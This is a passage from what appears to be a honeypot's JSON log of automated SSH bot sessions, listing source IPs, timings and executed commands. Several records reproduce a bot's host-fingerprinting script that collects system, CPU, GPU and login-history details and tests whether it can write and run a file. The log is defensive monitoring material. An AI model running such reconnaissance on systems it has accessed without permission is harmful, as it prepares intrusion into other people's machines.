\"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-21T17:31:04.269385+00:00",
  "ended_at": "2026-08-21T17:31:04.407695+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "0f4bcc72-bf9a-48b1-b981-c87d837f6a39",
  "name": "wooded-plucky-snipe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.55",
  "src_port": 57674,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-21T17:26:17.975662+00:00",
  "ended_at": "2026-08-21T17:26:18.100005+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "7a2fcdf0-aa02-4ba6-b771-c4b7a6e9daf9",
  "name": "sooty-northern-manatee",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.55",
  "src_port": 54478,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-21T17:21:13.823748+00:00",
  "ended_at": "2026-08-21T17:21:13.930195+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "64d73c50-fee9-41ae-8d98-dde147fccd82",
  "name": "marine-humble-tern",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 55402,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-21T17:07:00.482658+00:00",
  "ended_at": "2026-08-21T17:07:01.758357+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e3f089c4-84c6-4b1d-bede-e31e7afb3eca",
  "name": "dapper-stoic-gannet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 37768,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-21T16:03:09.566802+00:00",
  "ended_at": "2026-08-21T16:03:10.678762+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c83b1aaa-5be8-4291-9f3b-581cee01d49c",
  "name": "regal-serene-sparrow",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 57862,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-21T14:55:08.466168+00:00",
  "ended_at": "2026-08-21T14:55:08.892175+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "da5d76f4-3ddb-411e-9e30-dd73d87ab65a",
  "name": "gloomy-crisp-fossa",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 54304,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-21T13:55:42.708046+00:00",
  "ended_at": "2026-08-21T13:55:43.088722+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0d69d258-8449-4ea0-a56b-c1b09f109be9",
  "name": "courtly-jovial-dunlin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.53",
  "src_port": 39850,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 230,
  "probe_flagged": 0,
  "exec_command": "/bin/./uname -s -v -n -r -m",
  "started_at": "2026-08-21T13:48:01.119444+00:00",
  "ended_at": "2026-08-21T13:48:01.226579+00:00",
  "ended_reason": "exec complete",
  "commands": 7,
  "transcript_bytes": 835
 },
 {
  "id": "208435f0-127c-4eb4-84bc-58b339ff4f07",
  "name": "mighty-subtle-oriole",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.42.147",
  "src_port": 51110,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 370,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-21T13:47:27.523425+00:00",
  "ended_at": "2026-08-21T13:47:32.108461+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 863
 },
 {
  "id": "27ab3041-69a9-4cb5-a45b-7dbedf346622",
  "name": "twilight-tranquil-lark",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.42.147",
  "src_port": 47576,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 271,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-21T13:45:36.128844+00:00",
  "ended_at": "2026-08-21T13:45:41.465750+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 863
 },
 {
  "id": "c9d6c5fb-3267-4cd1-ba5d-1410539d3c41",
  "name": "fearless-seaward-chinchilla",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.42.147",
  "src_port": 49378,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 320,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-21T13:45:27.409708+00:00",
  "ended_at": "2026-08-21T13:45:32.177691+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 863
 },
 {
  "id": "5dd546a0-20d5-41a5-8051-ef107882296e",
  "name": "frugal-merry-nuthatch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.42.147",
  "src_port": 44358,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 375,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-21T13:42:24.943311+00:00",
  "ended_at": "2026-08-21T13:42:29.056661+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 863
 },
 {
  "id": "92bc6633-1486-4ee8-b820-a4e65d1f89d7",
  "name": "quartz-crisp-bowerbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.42.147",
  "src_port": 44888,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 211,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-21T13:36:54.256308+00:00",
  "ended_at": "2026-08-21T13:36:59.656928+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 863
 },
 {
  "id": "a6ef661e-92d2-4980-94b9-855f1109d15c",
  "name": "ancient-mindful-snipe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.42.147",
  "src_port": 38300,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 188,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-21T13:34:38.747092+00:00",
  "ended_at": "2026-08-21T13:34:41.946809+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 863
 },
 {
  "id": "82172fa4-4bff-43fd-8db7-bd524b5d16f5",
  "name": "slender-sterling-lapwing",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.42.147",
  "src_port": 53300,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 279,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-21T13:32:23.415328+00:00",
  "ended_at": "2026-08-21T13:32:26.154352+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 863
 },
 {
  "id": "58e261fc-0d7c-4fce-afae-0428fcebaa9c",
  "name": "emerald-sandy-bowerbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.42.147",
  "src_port": 42380,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 266,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-21T13:31:03.674009+00:00",
  "ended_at": "2026-08-21T13:31:07.913055+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 863
 },
 {
  "id": "7833e6cc-7cfe-4fa5-9954-2a48d1270a93",
  "name": "jaunty-spirited-dolphin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.42.147",
  "src_port": 37132,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 245,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-21T13:30:51.695575+00:00",
  "ended_at": "2026-08-21T13:30:57.239546+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 863
 },
 {
  "id": "8cc18264-4ccf-4a28-915c-bcf0a0d220e0",
  "name": "ashen-merry-agouti",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.42.147",
  "src_port": 53810,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 274,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-21T13:29:47.727635+00:00",
  "ended_at": "2026-08-21T13:29:51.649151+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 863
 },
 {
  "id": "5cebca11-9e10-40d7-8747-3066958ad1e1",
  "name": "fierce-noble-grebe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.42.147",
  "src_port": 37526,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 251,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-21T13:14:36.074077+00:00",
  "ended_at": "2026-08-21T13:14:39.639690+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 863
 },
 {
  "id": "f457acbc-b1f9-4812-913f-62a972e8e9ac",
  "name": "polar-ginger-serval",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.42.147",
  "src_port": 40640,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 395,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-21T13:12:02.062157+00:00",
  "ended_at": "2026-08-21T13:12:05.070858+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 863
 },
 {
  "id": "757ca1f7-f68f-4f44-99e8-0a5ca3bf98e6",
  "name": "prairie-murky-puffin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.42.147",
  "src_port": 59420,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 264,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-21T13:09:27.628160+00:00",
  "ended_at": "2026-08-21T13:09:32.257690+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 863
 },
 {
  "id": "85a98409-8239-4258-8f00-c115bdbed405",
  "name": "woven-scarlet-bullfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.42.147",
  "src_port": 40548,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 184,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-21T13:03:53.003618+00:00",
  "ended_at": "2026-08-21T13:03:58.309573+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 863
 },
 {
  "id": "c05c5c46-bd75-4c24-b58a-f3d9149dc7d2",
  "name": "earnest-grumpy-caribou",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.42.147",
  "src_port": 53494,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 180,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-21T13:03:43.394915+00:00",
  "ended_at": "2026-08-21T13:03:48.857005+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 863
 },
 {
  "id": "313e71c8-bdc8-4377-8d12-bb1b22c6a21e",
  "name": "buoyant-rugged-redshank",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 42728,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-21T13:00:28.626450+00:00",
  "ended_at": "2026-08-21T13:00:30.470290+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a23f6939-7a04-4e45-b01f-9420551451cb",
  "name": "craggy-lunar-pangolin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.42.147",
  "src_port": 57134,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 297,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-21T12:55:01.810247+00:00",
  "ended_at": "2026-08-21T12:55:04.744104+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 863
 },
 {
  "id": "9dd4ffa1-580d-4da8-b1f8-9c2dcafe325f",
  "name": "twilight-hidden-quokka",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.42.147",
  "src_port": 34090,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 245,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-21T12:52:54.286308+00:00",
  "ended_at": "2026-08-21T12:52:57.682710+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 863
 },
 {
  "id": "f20f41b9-1c58-40f5-8e9d-bf7b36cf32a8",
  "name": "blithe-forlorn-chamois",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.42.147",
  "src_port": 56316,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 247,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-21T12:49:26.677691+00:00",
  "ended_at": "2026-08-21T12:49:29.533438+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 863
 },
 {
  "id": "ecd4dfe1-b571-44e6-91ae-aa1e4e6ab073",
  "name": "northern-ancient-wallaby",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.42.147",
  "src_port": 59396,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 238,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-21T12:48:06.856750+00:00",
  "ended_at": "2026-08-21T12:48:09.528394+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 863
 },
 {
  "id": "5860afef-f719-4c03-8cdb-61c569482ae1",
  "name": "upland-gleaming-albatross",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.42.147",
  "src_port": 47430,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 198,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-21T12:45:38.596971+00:00",
  "ended_at": "2026-08-21T12:45:43.200012+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 863
 },
 {
  "id": "0ab07c28-ef2a-4fd8-b59e-1bfba186393d",
  "name": "russet-courtly-coyote",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.53",
  "src_port": 40064,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 256,
  "probe_flagged": 0,
  "exec_command": "/bin/./uname -s -v -n -r -m",
  "started_at": "2026-08-21T12:17:45.434428+00:00",
  "ended_at": "2026-08-21T12:17:45.567134+00:00",
  "ended_reason": "exec complete",
  "commands": 7,
  "transcript_bytes": 836
 },
 {
  "id": "4ac884a1-cc8c-41e3-9d57-6750134b6ab2",
  "name": "nautical-hidden-dingo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 44956,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-21T11:49:07.837605+00:00",
  "ended_at": "2026-08-21T11:49:09.744269+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5c235879-8597-4d92-9e65-b745d643e1e4",
  "name": "slender-silent-toucan",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.228",
  "src_port": 42846,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; 